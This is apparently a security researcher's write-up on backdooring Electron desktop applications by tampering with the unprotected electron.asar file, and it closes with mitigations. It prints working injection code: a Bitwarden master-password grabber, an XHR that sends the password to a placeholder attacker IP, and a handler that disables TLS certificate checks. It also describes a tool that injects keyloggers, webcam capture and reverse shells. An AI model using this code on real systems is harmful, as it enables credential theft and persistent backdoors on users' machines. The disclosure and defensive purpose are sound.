Notice: Please note that this article is not about vulnerabilities in Electron applications, but the Electron Framework itself. THIS IS NOT A VULNERABILITY IN THE INDIVIDUAL APPS.

Proof of Concept

In the following example, all of the user’s stored passwords are being exfiltrated as soon as they unlock their vault.

Introduction

Electron is an open source framework that allows developers to create cross-platform desktop applications. Its architecture is quite simple, it’s running Node.js as its backend and is using Chromium in the frontend. This is effectively “Chrome-in-a-box” which many companies have adopted in order to provide wider support for operating systems along with cutting down development costs. Some applications that are implemented using this framework are Slack, Skype, WhatsApp, Signal, Discord, Twitch, VS Code, Atom, Bitwarden, and GitHub Desktop. However the architecture of this framework exposes the “electron.asar” file which allows an attacker to inject a backdoor. In a nutshell, this is a Cross-Site Scripting attack with a few extra steps.

Details

As already mentioned, this attack doesn’t exploit any vulnerabilities in the applications, but instead it leverages Electron’s architecture which means that in order to exploit this the attacker will need to have write access to the application’s installation folder. Some applications (such as Skype) are installed within the Program Files directory on Windows which requires elevated privileges. Other applications such as Slack and VS Code, install within the user’s Application Data folder which require no special permissions to modify files. All Electron applications have a folder in their installation directory called “resources”. Usually that folder has the following files:

The first file, app.asar contains the actual application. The second file, electron.asar, contains the “boot-loader” that prepares the Chromium environment to run the application, and this is the file that makes this attack possible.

An “asar” file is “Simple extensive tar-like archive format with indexing”, and Electron offers an npm package to manage these files (pack/extract). This file however, is not encrypted, obfuscated, or protected in any way. An attacker can make any modifications to these files, and re-pack the file without modifying the signature of the actual executable. In addition, this attack works across all operating systems.

The Anatomy of a Backdoor

The first step is to extract the contents of electron.asar which can be done using the npm asar package:

asar extract electron.asar ./electron

The output should look similar to:

The file that is of most interest to us is:

./electron/browser/chrome-extension.js

By modifying this file we can bind to numerous events, which we will leverage to inject our backdoor.

To confirm that this will work, we can inject the following code at the bottom of the file:

app.on('browser-window-focus', function (event, bWindow) { bWindow.webContents.executeJavaScript("alert('Hello World!');") })

This event will be triggered every time the application is focused. We use the asar package to re-pack the file:

asar pack ./electron electron.asar

By running Bitwarden we are greeted with an alert box:

It is quite obvious now that we can execute arbitrary JavaScript code within the context of the application itself – practically an XSS. Inject the following snippet, which will bind the click event of the unlock button and retrieve the master password after the user unlocks the vault:

let unlockButton = document.querySelector('#lock-page button'); unlockButton.addEventListener('click', function() { alert(document.querySelector('#masterPassword').value); });

After minifying and injecting the code the same way as before, once the user unlocks the vault we can extract the master password:

Now that we can get the master password we can move to the next step which would be to exfiltrate the password. We can achieve this using an AJAX request upon clicking the “Unlock” button.

let unlockButton = document.querySelector('#lock-page button'); unlockButton.addEventListener('click', function() { let key = document.querySelector('#masterPassword').value; let xhttp = new XMLHttpRequest(); xhttp.open('GET', 'https://xxx.xxx.xxx.xxx/capture.php?data=' + encodeURIComponent(key), true); xhttp.send(); });

However, as Electron is running Chromium, if we attempt to exfiltrate data over SSL we need to ensure that our endpoint has a valid certificate. But as this might not always be possible, we can bypass any certificate validations using the “certificate-error” event. Following our “browser-window-focus” event, we add the following code, which will ignore any SSL warnings:

app.on('certificate-error', (event, webContents, url, error, certificate, callback) => { event.preventDefault() callback(true) });

Following this, when the user unlocks their vault the password will be sent to the attacker’s location.

Real Life Uses

It’s important to note that this technique requires access to the machine, which could either be a shell or physical access to it. The first way would be to inject application-specific backdoors (such as this example), but this method requires implementing targeted modules. The second way would be to use this as a method of persistence on Red Team engagements (such as running an implant on startup).

Restrictions

Although this technique can inject code into any Electron application, its success rate depends on the application itself. It might not be possible to exfiltrate data from an application, if for example it sets a Content-Security Policy.

However data exfiltration isn’t all that can be done with this attack. To demonstrate the capabilities and to automate this process, BEEMKA has been developed. BEEMKA can be used to inject the following into an Electron application:

• Keylogger

• Screenshots

• Web Camera

• Reverse Shell for Windows and Linux

Examples and documentation can be found at: https://github.com/ctxis/beemka.

The Skype electron application sets a CSP that prevents you from sending data to an attacker controlled domain. However, as demonstrated in the following video, a reverse shell backdoor can be injected into Skype and used to gain persistence on a host, for example in a red team scenario:

BEEMKA is modular, here is an example of injecting a screenshot-taking backdoor into Slack:

And here is a backdoor that turns on the user’s camera:

Recommendation

At the time of this writing there isn’t any definitive way of protecting against this attack. However there are mitigations that can be deployed:

If you are using an application written in Electron (and you probably are):

Make sure you update your applications frequently. When an application is updated, electron.asar is usually replaced with a clean version – removing any backdoors.

Install applications as a high privileged user (ie in “Program Files”) and use them as a low privileged user. To exploit this vulnerability, the attacker would not only have to gain access to your host but would have to elevate their privileges to that of an administrator as well.

If you are developing an application in Electron:

Make sure you use CSP meta tags in your index.html file.

Implement and use WebViews were possible.

If you are a maintainer of Electron itself:

Include electron.asar within the executable itself. Its size is usually around 250KB and it would not affect the application’s performance at all.

Summary

Following the walkthrough of this article we have demonstrated how simple it is to inject malicious code inside a legitimate application without raising any warnings. As more and more companies are adopting Electron it is critical to ensure that applications cannot be tampered with.

References

https://electronjs.org/

https://github.com/electron/asar

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)